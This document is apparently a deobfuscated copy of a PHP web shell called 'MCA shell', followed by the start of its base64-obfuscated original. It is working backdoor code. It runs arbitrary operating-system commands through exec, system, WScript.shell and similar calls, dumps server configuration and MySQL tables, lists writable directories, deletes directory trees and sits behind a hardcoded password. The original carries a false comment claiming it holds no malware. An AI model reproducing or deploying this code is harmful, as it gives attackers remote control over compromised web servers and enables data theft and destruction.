1430 formhead(array('title' => 'Execute Command'));
1431 makehide('action', 'shell');
1432 if (IS_WIN && IS_COM) {
1433 $execfuncdb = array('phpfunc' => 'phpfunc', 'wscript' => 'wscript', 'proc_open' => 'proc_open');
1434 makeselect(array('title' => 'Use:', 'name' => 'execfunc', 'option' => $execfuncdb, 'selected' => $execfunc, 'newline' => 1));
1435 }
1436 p('<p>');
1437 makeinput(array('title' => 'Command', 'name' => 'command', 'value' => $command));
1438 makeinput(array('name' => 'submit', 'class' => 'bt', 'type' => 'submit', 'value' => 'Execute'));
1439 p('</p>');
1440 formfoot();
1441 if ($command) {
1442 p('<hr width="100%" noshade /><pre>');
1443 if ($execfunc == 'wscript' && IS_WIN && IS_COM) {
1444 $wsh = new COM('WScript.shell');
1445 $exec = $wsh->exec('cmd.exe /c ' . $command);
1446 $stdout = $exec->StdOut();
1447 $stroutput = $stdout->ReadAll();
1448 echo $stroutput;
1449 } elseif ($execfunc == 'proc_open' && IS_WIN && IS_COM) {
1450 $descriptorspec = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
1451 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1452 if (is_resource($process)) {
1453 fwrite($pipes[0], $command . "\r\n");
1454 fwrite($pipes[0], "exit\r\n");
1455 fclose($pipes[0]);
1456 while (!feof($pipes[1])) {
1457 echo fgets($pipes[1], 1024);
1458 }
1459 fclose($pipes[1]);
1460 while (!feof($pipes[2])) {
1461 echo fgets($pipes[2], 1024);
1462 }
1463 fclose($pipes[2]);
1464 proc_close($process);
1465 }
1466 } else {
1467 echo (execute($command));
1468 }
1469 p('</pre>');
1470 }
1471} //end shell
1472elseif ($action == 'phpenv') {
1473 $upsize = getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
1474 $adminmail = isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
1475 !$dis_func && $dis_func = 'No';
1476 $info = array(1 => array('Server Time', date('Y/m/d h:i:s', $timestamp)), 2 => array('Server Domain', $_SERVER['SERVER_NAME']), 3 => array('Server IP', gethostbyname($_SERVER['SERVER_NAME'])), 4 => array('Server OS', PHP_OS), 5 => array('Server OS Charset', $_SERVER['HTTP_ACCEPT_LANGUAGE']), 6 => array('Server Software', $_SERVER['SERVER_SOFTWARE']), 7 => array('Server Web Port', $_SERVER['SERVER_PORT']), 8 => array('PHP run mode', strtoupper(php_sapi_name())), 9 => array('The file path', __FILE__), 10 => array('PHP Version', PHP_VERSION), 11 => array('PHPINFO', (IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')), 12 => array('Safe Mode', getcfg('safe_mode')), 13 => array('Administrator', $adminmail), 14 => array('allow_url_fopen', getcfg('allow_url_fopen')), 15 => array('enable_dl', getcfg('enable_dl')), 16 => array('display_errors', getcfg('display_errors')), 17 => array('register_globals', getcfg('register_globals')), 18 => array('magic_quotes_gpc', getcfg('magic_quotes_gpc')), 19 => array('memory_limit', getcfg('memory_limit')), 20 => array('post_max_size', getcfg('post_max_size')), 21 => array('upload_max_filesize', $upsize), 22 => array('max_execution_time', getcfg('max_execution_time') . ' second(s)'), 23 => array('disable_functions', $dis_func),);
1477 if ($phpvarname) {
1478 m($phpvarname . ' : ' . getcfg($phpvarname));
1479 }
1480 formhead(array('title' => 'Server environment'));
1481 makehide('action', 'phpenv');
1482 makeinput(array('title' => 'Please input PHP configuration parameter(eg:magic_quotes_gpc)', 'name' => 'phpvarname', 'value' => $phpvarname, 'newline' => 1));
1483 formfooter();
1484 $hp = array(0 => 'Server', 1 => 'PHP');
1485 for ($a = 0;$a < 2;$a++) {
1486 p('<h2>' . $hp[$a] . ' »</h2>');
1487 p('<ul class="info">');
1488 if ($a == 0) {
1489 for ($i = 1;$i <= 9;$i++) {
1490 p('<li><u>' . $info[$i][0] . ':</u>' . $info[$i][1] . '</li>');
1491 }
1492 } elseif ($a == 1) {
1493 for ($i = 10;$i <= 23;$i++) {
1494 p('<li><u>' . $info[$i][0] . ':</u>' . $info[$i][1] . '</li>');
1495 }
1496 }
1497 p('</ul>');
1498 }
1499} //end phpenv
1500else {
1501 m('Undefined Action');
1502}
1503?>
1504
1505</td></tr></table>
1506<div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
1507 <span style="float:right;"><?php debuginfo();
1508ob_end_flush(); ?></span>
1509 Copyright (C) 2013 <B></B> - Develop by <a href=http://google.com target=_blank><B>BillGate </B></a> - <B>- Muslim Cyber Army</B> All Rights Reserved.
1510</div>
1511</body>
1512</noscript>
1513
1514<?php
1515/*======================================================
1516Show info shell
1517======================================================*/
1518function m($msg) {
1519 echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
1520 echo $msg;
1521 echo '</div>';
1522}
1523function scookie($key, $value, $life = 0, $prefix = 1) {
1524 global $admin, $timestamp, $_SERVER;
1525 $key = ($prefix ? $admin['cookiepre'] : '') . $key;
1526 $life = $life ? $life : $admin['cookielife'];
1527 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
1528 setcookie($key, $value, $timestamp + $life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
1529}
1530function multi($num, $perpage, $curpage, $tablename) {
1531 $multipage = '';
1532 if ($num > $perpage) {
1533 $page = 10;
1534 $offset = 5;
1535 $pages = @ceil($num / $perpage);
1536 if ($page > $pages) {
1537 $from = 1;
1538 $to = $pages;
1539 } else {
1540 $from = $curpage - $offset;
1541 $to = $curpage + $page - $offset - 1;
1542 if ($from < 1) {
1543 $to = $curpage + 1 - $from;
1544 $from = 1;
1545 if (($to - $from) < $page && ($to - $from) < $pages) {
1546 $to = $page;
1547 }
1548 } elseif ($to > $pages) {
1549 $from = $curpage - $pages + $to;
1550 $to = $pages;
1551 if (($to - $from) < $page && ($to - $from) < $pages) {
1552 $from = $pages - $page + 1;
1553 }
1554 }
1555 }
1556 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', 1);">First</a> ' : '') . ($curpage > 1 ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . ($curpage - 1) . ');">Prev</a> ' : '');
1557 for ($i = $from;$i <= $to;$i++) {
1558 $multipage.= $i == $curpage ? $i . ' ' : '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . $i . ');">[' . $i . ']</a> ';
1559 }
1560 $multipage.= ($curpage < $pages ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . ($curpage + 1) . ');">Next</a>' : '') . ($to < $pages ? ' <a href="javascript:settable(\'' . $tablename . '\', \'\', ' . $pages . ');">Last</a>' : '');
1561 $multipage = $multipage ? '<p>Pages: ' . $multipage . '</p>' : '';
1562 }
1563 return $multipage;
1564}
1565// Login page
1566function loginpage() {
1567?>
1568
1569<html>
1570<head>
1571
1572<body bgcolor=black background=1.jpg>
1573
1574 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
1575<title>.::[ MCA shell ]::. </title>
1576<style type="text/css">
1577A:link {text-decoration: none; color: green }
1578A:visited {text-decoration: none;color:red}
1579A:active {text-decoration: none}
1580A:hover {text-decoration: underline; color: green;}
1581input, textarea, button
1582{
1583 font-size: 11pt;
1584 color: #FFFFFF;
1585 font-family: verdana, sans-serif;
1586 background-color: #000000;
1587 border-left: 2px dashed #8B0000;
1588 border-top: 2px dashed #8B0000;
1589 border-right: 2px dashed #8B0000;
1590 border-bottom: 2px dashed #8B0000;
1591}
1592
1593</style>
1594
1595 <BR><BR>
1596<div align=center >
1597
1598<div>
1599
1600<font color=gray>
1601<br /><br /><br /><br /><br />
1602
1603<form method="POST" action="">
1604 <span style="font:20pt tahoma;"> </span><input name="password" type="password" size="30">
1605 <input type="hidden" name="doing" value="login">
1606 <input type="submit" value="Login">
1607 </form>
1608<BR>
1609<?php
1610 echo "" . $err_mess . "";
1611?>
1612
1613 <B><font color=red>
1614
1615
1616
1617
1618
1619
1620</div>
1621
1622
1623 </fieldset>
1624
1625
1626
1627</head>
1628</html>
1629
1630<?php
1631 exit;
1632} //end loginpage()
1633function execute($cfe) {
1634 $res = '';
1635 if ($cfe) {
1636 if (function_exists('exec')) {
1637 @exec($cfe, $res);
1638 $res = join("\n", $res);
1639 } elseif (function_exists('shell_exec')) {
1640 $res = @shell_exec($cfe);
1641 } elseif (function_exists('system')) {
1642 @ob_start();
1643 @system($cfe);
1644 $res = @ob_get_contents();
1645 @ob_end_clean();
1646 } elseif (function_exists('passthru')) {
1647 @ob_start();
1648 @passthru($cfe);
1649 $res = @ob_get_contents();
1650 @ob_end_clean();
1651 } elseif (@is_resource($f = @popen($cfe, "r"))) {
1652 $res = '';
1653 while (!@feof($f)) {
1654 $res.= @fread($f, 1024);
1655 }
1656 @pclose($f);
1657 }
1658 }
1659 return $res;
1660}
1661function which($pr) {
1662 $path = execute("which $pr");
1663 return ($path ? $path : $pr);
1664}
1665function cf($fname, $text) {
1666 if ($fp = @fopen($fname, 'w')) {
1667 @fputs($fp, base64_decode($text));
1668 @fclose($fp);
1669 }
1670}
1671// Debug
1672function debuginfo() {
1673 global $starttime;
1674 $mtime = explode(' ', microtime());
1675 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
1676 echo 'Processed in ' . $totaltime . ' second(s)';
1677}
1678// Function connect database
1679function dbconn($dbhost, $dbuser, $dbpass, $dbname = '', $charset = '', $dbport = '3306') {
1680 if (!$link = @mysql_connect($dbhost . ':' . $dbport, $dbuser, $dbpass)) {
1681 p('<h2>Can not connect to MySQL server</h2>');
1682 exit;
1683 }
1684 if ($link && $dbname) {
1685 if (!@mysql_select_db($dbname, $link)) {
1686 p('<h2>Database selected has error</h2>');
1687 exit;
1688 }
1689 }
1690 if ($link && mysql_get_server_info() > '4.1') {
1691 if (in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
1692 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
1693 }
1694 }
1695 return $link;
1696}
1697// Array strip
1698function s_array(&$array) {
1699 if (is_array($array)) {
1700 foreach ($array as $k => $v) {
1701 $array[$k] = s_array($v);
1702 }
1703 } else if (is_string($array)) {
1704 $array = stripslashes($array);
1705 }
1706 return $array;
1707}
1708// HTML Strip
1709function html_clean($content) {
1710 $content = htmlspecialchars($content);
1711 $content = str_replace("\n", "<br />", $content);
1712 $content = str_replace(" ", " ", $content);
1713 $content = str_replace("\t", " ", $content);
1714 return $content;
1715}
1716// Chmod
1717function getChmod($filepath) {
1718 return substr(base_convert(@fileperms($filepath), 10, 8), -4);
1719}
1720function getPerms($filepath) {
1721 $mode = @fileperms($filepath);
1722 if (($mode & 0xC000) === 0xC000) {
1723 $type = 's';
1724 } elseif (($mode & 0x4000) === 0x4000) {
1725 $type = 'd';
1726 } elseif (($mode & 0xA000) === 0xA000) {
1727 $type = 'l';
1728 } elseif (($mode & 0x8000) === 0x8000) {
1729 $type = '-';
1730 } elseif (($mode & 0x6000) === 0x6000) {
1731 $type = 'b';
1732 } elseif (($mode & 0x2000) === 0x2000) {
1733 $type = 'c';
1734 } elseif (($mode & 0x1000) === 0x1000) {
1735 $type = 'p';
1736 } else {
1737 $type = '?';
1738 }
1739 $owner['read'] = ($mode & 00400) ? 'r' : '-';
1740 $owner['write'] = ($mode & 00200) ? 'w' : '-';
1741 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
1742 $group['read'] = ($mode & 00040) ? 'r' : '-';
1743 $group['write'] = ($mode & 00020) ? 'w' : '-';
1744 $group['execute'] = ($mode & 00010) ? 'x' : '-';
1745 $world['read'] = ($mode & 00004) ? 'r' : '-';
1746 $world['write'] = ($mode & 00002) ? 'w' : '-';
1747 $world['execute'] = ($mode & 00001) ? 'x' : '-';
1748 if ($mode & 0x800) {
1749 $owner['execute'] = ($owner['execute'] == 'x') ? 's' : 'S';
1750 }
1751 if ($mode & 0x400) {
1752 $group['execute'] = ($group['execute'] == 'x') ? 's' : 'S';
1753 }
1754 if ($mode & 0x200) {
1755 $world['execute'] = ($world['execute'] == 'x') ? 't' : 'T';
1756 }
1757 return $type . $owner['read'] . $owner['write'] . $owner['execute'] . $group['read'] . $group['write'] . $group['execute'] . $world['read'] . $world['write'] . $world['execute'];
1758}
1759function getUser($filepath) {
1760 if (function_exists('posix_getpwuid')) {
1761 $array = @posix_getpwuid(@fileowner($filepath));
1762 if ($array && is_array($array)) {
1763 return ' / <a href="#" title="User: ' . $array['name'] . '
Passwd: ' . $array['passwd'] . '
Uid: ' . $array['uid'] . '
gid: ' . $array['gid'] . '
Gecos: ' . $array['gecos'] . '
Dir: ' . $array['dir'] . '
Shell: ' . $array['shell'] . '">' . $array['name'] . '</a>';
1764 }
1765 }
1766 return '';
1767}
1768// Delete dir
1769function deltree($deldir) {
1770 $mydir = @dir($deldir);
1771 while ($file = $mydir->read()) {
1772 if ((is_dir($deldir . '/' . $file)) && ($file != '.') && ($file != '..')) {
1773 @chmod($deldir . '/' . $file, 0777);
1774 deltree($deldir . '/' . $file);
1775 }
1776 if (is_file($deldir . '/' . $file)) {
1777 @chmod($deldir . '/' . $file, 0777);
1778 @unlink($deldir . '/' . $file);
1779 }
1780 }
1781 $mydir->close();
1782 @chmod($deldir, 0777);
1783 return @rmdir($deldir) ? 1 : 0;
1784}
1785// Background
1786function bg() {
1787 global $bgc;
1788 return ($bgc++ % 2 == 0) ? 'alt1' : 'alt2';
1789}
1790// Get path
1791function getPath($scriptpath, $nowpath) {
1792 if ($nowpath == '.') {
1793 $nowpath = $scriptpath;
1794 }
1795 $nowpath = str_replace('\\', '/', $nowpath);
1796 $nowpath = str_replace('//', '/', $nowpath);
1797 if (substr($nowpath, -1) != '/') {
1798 $nowpath = $nowpath . '/';
1799 }
1800 return $nowpath;
1801}
1802// Get up path
1803function getUpPath($nowpath) {
1804 $pathdb = explode('/', $nowpath);
1805 $num = count($pathdb);
1806 if ($num > 2) {
1807 unset($pathdb[$num - 1], $pathdb[$num - 2]);
1808 }
1809 $uppath = implode('/', $pathdb) . '/';
1810 $uppath = str_replace('//', '/', $uppath);
1811 return $uppath;
1812}
1813// Config
1814function getcfg($varname) {
1815 $result = get_cfg_var($varname);
1816 if ($result == 0) {
1817 return 'No';
1818 } elseif ($result == 1) {
1819 return 'Yes';
1820 } else {
1821 return $result;
1822 }
1823}
1824// Function name
1825function getfun($funName) {
1826 return (false !== function_exists($funName)) ? 'Yes' : 'No';
1827}
1828function GetList($dir) {
1829 global $dirdata, $j, $nowpath;
1830 !$j && $j = 1;
1831 if ($dh = opendir($dir)) {
1832 while ($file = readdir($dh)) {
1833 $f = str_replace('//', '/', $dir . '/' . $file);
1834 if ($file != '.' && $file != '..' && is_dir($f)) {
1835 if (is_writable($f)) {
1836 $dirdata[$j]['filename'] = str_replace($nowpath, '', $f);
1837 $dirdata[$j]['mtime'] = @date('Y-m-d H:i:s', filemtime($f));
1838 $dirdata[$j]['dirchmod'] = getChmod($f);
1839 $dirdata[$j]['dirperm'] = getPerms($f);
1840 $dirdata[$j]['dirlink'] = ue($dir);
1841 $dirdata[$j]['server_link'] = $f;
1842 $dirdata[$j]['client_link'] = ue($f);
1843 $j++;
1844 }
1845 GetList($f);
1846 }
1847 }
1848 closedir($dh);
1849 clearstatcache();
1850 return $dirdata;
1851 } else {
1852 return array();
1853 }
1854}
1855function qy($sql) {
1856 //echo $sql.'<br>';
1857 $res = $error = '';
1858 if (!$res = @mysql_query($sql)) {
1859 return 0;
1860 } else if (is_resource($res)) {
1861 return 1;
1862 } else {
1863 return 2;
1864 }
1865 return 0;
1866}
1867function q($sql) {
1868 return @mysql_query($sql);
1869}
1870function fr($qy) {
1871 mysql_free_result($qy);
1872}
1873function sizecount($size) {
1874 if ($size > 1073741824) {
1875 $size = round($size / 1073741824 * 100) / 100 . ' G';
1876 } elseif ($size > 1048576) {
1877 $size = round($size / 1048576 * 100) / 100 . ' M';
1878 } elseif ($size > 1024) {
1879 $size = round($size / 1024 * 100) / 100 . ' K';
1880 } else {
1881 $size = $size . ' B';
1882 }
1883 return $size;
1884}
1885// Zip
1886class PHPZip {
1887 var $out = '';
1888 function PHPZip($dir) {
1889 if (@function_exists('gzcompress')) {
1890 $curdir = getcwd();
1891 if (is_array($dir)) $filelist = $dir;
1892 else {
1893 $filelist = $this->GetFileList($dir); //File list
1894 foreach ($filelist as $k => $v) $filelist[] = substr($v, strlen($dir) + 1);
1895 }
1896 if ((!empty($dir)) && (!is_array($dir)) && (file_exists($dir))) chdir($dir);
1897 else chdir($curdir);
1898 if (count($filelist) > 0) {
1899 foreach ($filelist as $filename) {
1900 if (is_file($filename)) {
1901 $fd = fopen($filename, 'r');
1902 $content = @fread($fd, filesize($filename));
1903 fclose($fd);
1904 if (is_array($dir)) $filename = basename($filename);
1905 $this->addFile($content, $filename);
1906 }
1907 }
1908 $this->out = $this->file();
1909 chdir($curdir);
1910 }
1911 return 1;
1912 } else return 0;
1913 }
1914 // Show file list
1915 function GetFileList($dir) {
1916 static $a;
1917 if (is_dir($dir)) {
1918 if ($dh = opendir($dir)) {
1919 while ($file = readdir($dh)) {
1920 if ($file != '.' && $file != '..') {
1921 $f = $dir . '/' . $file;
1922 if (is_dir($f)) $this->GetFileList($f);
1923 $a[] = $f;
1924 }
1925 }
1926 closedir($dh);
1927 }
1928 }
1929 return $a;
1930 }
1931 var $datasec = array();
1932 var $ctrl_dir = array();
1933 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
1934 var $old_offset = 0;
1935 function unix2DosTime($unixtime = 0) {
1936 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
1937 if ($timearray['year'] < 1980) {
1938 $timearray['year'] = 1980;
1939 $timearray['mon'] = 1;
1940 $timearray['mday'] = 1;
1941 $timearray['hours'] = 0;
1942 $timearray['minutes'] = 0;
1943 $timearray['seconds'] = 0;
1944 } // end if
1945 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
1946 }
1947 function addFile($data, $name, $time = 0) {
1948 $name = str_replace('\\', '/', $name);
1949 $dtime = dechex($this->unix2DosTime($time));
1950 $hexdtime = '\x' . $dtime[6] . $dtime[7] . '\x' . $dtime[4] . $dtime[5] . '\x' . $dtime[2] . $dtime[3] . '\x' . $dtime[0] . $dtime[1];
1951 eval('$hexdtime = "' . $hexdtime . '";');
1952 $fr = "\x50\x4b\x03\x04";
1953 $fr.= "\x14\x00";
1954 $fr.= "\x00\x00";
1955 $fr.= "\x08\x00";
1956 $fr.= $hexdtime;
1957 $unc_len = strlen($data);
1958 $crc = crc32($data);
1959 $zdata = gzcompress($data);
1960 $c_len = strlen($zdata);
1961 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
1962 $fr.= pack('V', $crc);
1963 $fr.= pack('V', $c_len);
1964 $fr.= pack('V', $unc_len);
1965 $fr.= pack('v', strlen($name));
1966 $fr.= pack('v', 0);
1967 $fr.= $name;
1968 $fr.= $zdata;
1969 $fr.= pack('V', $crc);
1970 $fr.= pack('V', $c_len);
1971 $fr.= pack('V', $unc_len);
1972 $this->datasec[] = $fr;
1973 $new_offset = strlen(implode('', $this->datasec));
1974 $cdrec = "\x50\x4b\x01\x02";
1975 $cdrec.= "\x00\x00";
1976 $cdrec.= "\x14\x00";
1977 $cdrec.= "\x00\x00";
1978 $cdrec.= "\x08\x00";
1979 $cdrec.= $hexdtime;
1980 $cdrec.= pack('V', $crc);
1981 $cdrec.= pack('V', $c_len);
1982 $cdrec.= pack('V', $unc_len);
1983 $cdrec.= pack('v', strlen($name));
1984 $cdrec.= pack('v', 0);
1985 $cdrec.= pack('v', 0);
1986 $cdrec.= pack('v', 0);
1987 $cdrec.= pack('v', 0);
1988 $cdrec.= pack('V', 32);
1989 $cdrec.= pack('V', $this->old_offset);
1990 $this->old_offset = $new_offset;
1991 $cdrec.= $name;
1992 $this->ctrl_dir[] = $cdrec;
1993 }
1994 function file() {
1995 $data = implode('', $this->datasec);
1996 $ctrldir = implode('', $this->ctrl_dir);
1997 return $data . $ctrldir . $this->eof_ctrl_dir . pack('v', sizeof($this->ctrl_dir)) . pack('v', sizeof($this->ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
1998 }
1999}
2000// Dump mysql
2001function sqldumptable($table, $fp = 0) {
2002 $tabledump = "DROP TABLE IF EXISTS $table;\n";
2003 $tabledump.= "CREATE TABLE $table (\n";
2004 $firstfield = 1;
2005 $fields = q("SHOW FIELDS FROM $table");
2006 while ($field = mysql_fetch_array($fields)) {
2007 if (!$firstfield) {
2008 $tabledump.= ",\n";
2009 } else {
2010 $firstfield = 0;
2011 }
2012 $tabledump.= " $field[Field] $field[Type]";
2013 if (!empty($field["Default"])) {
2014 $tabledump.= " DEFAULT '$field[Default]'";
2015 }
2016 if ($field['Null'] != "YES") {
2017 $tabledump.= " NOT NULL";
2018 }
2019 if ($field['Extra'] != "") {
2020 $tabledump.= " $field[Extra]";
2021 }
2022 }
2023 fr($fields);
2024 $keys = q("SHOW KEYS FROM $table");
2025 while ($key = mysql_fetch_array($keys)) {
2026 $kname = $key['Key_name'];
2027 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
2028 $kname = "UNIQUE|$kname";
2029 }
2030 if (!is_array($index[$kname])) {
2031 $index[$kname] = array();
2032 }
2033 $index[$kname][] = $key['Column_name'];
2034 }
2035 fr($keys);
2036 while (list($kname, $columns) = @each($index)) {
2037 $tabledump.= ",\n";
2038 $colnames = implode($columns, ",");
2039 if ($kname == "PRIMARY") {
2040 $tabledump.= " PRIMARY KEY ($colnames)";
2041 } else {
2042 if (substr($kname, 0, 6) == "UNIQUE") {
2043 $kname = substr($kname, 7);
2044 }
2045 $tabledump.= " KEY $kname ($colnames)";
2046 }
2047 }
2048 $tabledump.= "\n);\n\n";
2049 if ($fp) {
2050 fwrite($fp, $tabledump);
2051 } else {
2052 echo $tabledump;
2053 }
2054 $rows = q("SELECT * FROM $table");
2055 $numfields = mysql_num_fields($rows);
2056 while ($row = mysql_fetch_array($rows)) {
2057 $tabledump = "INSERT INTO $table VALUES(";
2058 $fieldcounter = - 1;
2059 $firstfield = 1;
2060 while (++$fieldcounter < $numfields) {
2061 if (!$firstfield) {
2062 $tabledump.= ", ";
2063 } else {
2064 $firstfield = 0;
2065 }
2066 if (!isset($row[$fieldcounter])) {
2067 $tabledump.= "NULL";
2068 } else {
2069 $tabledump.= "'" . mysql_escape_string($row[$fieldcounter]) . "'";
2070 }
2071 }
2072 $tabledump.= ");\n";
2073 if ($fp) {
2074 fwrite($fp, $tabledump);
2075 } else {
2076 echo $tabledump;
2077 }
2078 }
2079 fr($rows);
2080 if ($fp) {
2081 fwrite($fp, "\n");
2082 } else {
2083 echo "\n";
2084 }
2085}
2086function ue($str) {
2087 return urlencode($str);
2088}
2089function p($str) {
2090 echo $str . "\n";
2091}
2092function tbhead() {
2093 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
2094}
2095function tbfoot() {
2096 p('</table>');
2097}
2098function makehide($name, $value = '') {
2099 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
2100}
2101function makeinput($arg = array()) {
2102 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
2103 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
2104 !$arg['type'] && $arg['type'] = 'text';
2105 $arg['title'] = $arg['title'] ? $arg['title'] . '<br />' : '';
2106 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
2107 if ($arg['newline']) {
2108 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
2109 } else {
2110 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
2111 }
2112}
2113function makeselect($arg = array()) {
2114 if ($arg['onchange']) {
2115 $onchange = 'onchange="' . $arg['onchange'] . '"';
2116 }
2117 $arg['title'] = $arg['title'] ? $arg['title'] : '';
2118 if ($arg['newline']) p('<p>');
2119 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
2120 if (is_array($arg['option'])) {
2121 foreach ($arg['option'] as $key => $value) {
2122 if ($arg['selected'] == $key) {
2123 p("<option value=\"$key\" selected>$value</option>");
2124 } else {
2125 p("<option value=\"$key\">$value</option>");
2126 }
2127 }
2128 }
2129 p("</select>");
2130 if ($arg['newline']) p('</p>');
2131}
2132function formhead($arg = array()) {
2133 !$arg['method'] && $arg['method'] = 'post';
2134 !$arg['action'] && $arg['action'] = $self;
2135 $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
2136 !$arg['name'] && $arg['name'] = 'form1';
2137 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
2138 if ($arg['title']) {
2139 p('<h2>' . $arg['title'] . ' »</h2>');
2140 }
2141}
2142function maketext($arg = array()) {
2143 !$arg['cols'] && $arg['cols'] = 100;
2144 !$arg['rows'] && $arg['rows'] = 25;
2145 $arg['title'] = $arg['title'] ? $arg['title'] . '<br />' : '';
2146 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
2147}
2148function formfooter($name = '') {
2149 !$name && $name = 'submit';
2150 p('<p><input class="bt" name="' . $name . '" id=\"' . $name . '\" type="submit" value="Submit"></p>');
2151 p('</form>');
2152}
2153function formfoot() {
2154 p('</form>');
2155}
2156// Exit
2157function pr($a) {
2158 echo '<pre>';
2159 print_r($a);
2160 echo '</pre>';
2161}
2162?>
2163
2164
2165Did this file decode correctly?
2166Original Code
2167<?php
2168//*********************************************************************************************************************/
2169// MCA Shell
2170// no malware on this code, you can check it by yourself
2171//
2172//
2173// encrypt your password : "mca"
2174
2175eval("?>".base64_decode("PD9waHANCg0KZXJyb3JfcmVwb3J0aW5nKDcpOw0KQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsNCm9iX3N0YXJ0KCk7DQokbXRpbWUgPSBleHBsb2RlKCcgJywgbWljcm90aW1lKCkpOw0KJHN0YXJ0dGltZSA9ICRtdGltZVsxXSArICRtdGltZVswXTsNCmRlZmluZSgnU0FfUk9PVCcsIHN0cl9yZXBsYWNlKCdcXCcsICcvJywgZGlybmFtZShfX0ZJTEVfXykpLicvJyk7DQovL2RlZmluZSgnSVNfV0lOJywgc3Ryc3RyKFBIUF9PUywgJ1dJTicpID8gMSA6IDAgKTsNCmRlZmluZSgnSVNfV0lOJywgRElSRUNUT1JZX1NFUEFSQVRPUiA9PSAnXFwnKTsNCmRlZmluZSgnSVNfQ09NJywgY2xhc3NfZXhpc3RzKCdDT00nKSA/IDEgOiAwICk7DQpkZWZpbmUoJ0lTX0dQQycsIGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpOw0KJGRpc19mdW5jID0gZ2V0X2NmZ192YXIoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQpkZWZpbmUoJ0lTX1BIUElORk8nLCAoIWVyZWdpKCJwaHBpbmZvIiwkZGlzX2Z1bmMpKSA/IDEgOiAwICk7DQpAc2V0X3RpbWVfbGltaXQoMCk7DQoNCmZvcmVhY2goYXJyYXkoJ19HRVQnLCdfUE9TVCcpIGFzICRfcmVxdWVzdCkgew0KCWZvcmVhY2goJCRfcmVxdWVzdCBhcyAkX2tleSA9PiAkX3ZhbHVlKSB7DQoJCWlmICgkX2tleXswfSAhPSAnXycpIHsNCgkJCWlmIChJU19HUEMpIHsNCgkJCQkkX3ZhbHVlID0gc19hcnJheSgkX3ZhbHVlKTsNCgkJCX0NCgkJCSQkX2tleSA9ICRfdmFsdWU7DQoJCX0NCgl9DQp9DQoNCi8qPT09PT09PT09PT09PT09PT0gIEluZm8gTG9naW4gID09PT09PT09PT09PT09PT0qLw0KJGFkbWluID0gYXJyYXkoKTsNCiRhZG1pblsnY2hlY2snXSA9IHRydWU7DQokYWRtaW5bJ3Bhc3MnXSAgPSAnbWNhJzsgLy8gUGFzc3dvcmQgbG9naW4NCiRhZG1pblsnY29va2llcHJlJ10gPSAnJzsNCiRhZG1pblsnY29va2llZG9tYWluJ10gPSAnJzsNCiRhZG1pblsnY29va2llcGF0aCddID0gJy8nOw0KJGFkbWluWydjb29raWVsaWZlJ10gPSA4NjQwMDsNCi8qPT09PT09PT09PT09PT09PT09PT09IEVuZCA9PT09PT09PT09PT09PT09PT09PT0qLw0KDQppZiAoJGNoYXJzZXQgPT0gJ3V0ZjgnKSB7DQoJaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIpOw0KfSBlbHNlaWYgKCRjaGFyc2V0ID09ICdiaWc1Jykgew0KCWhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9YmlnNSIpOw0KfSBlbHNlaWYgKCRjaGFyc2V0ID09ICdnYmsnKSB7DQoJaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1nYmsiKTsNCn0gZWxzZWlmICgkY2hhcnNldCA9PSAnbGF0aW4xJykgew0KCWhlY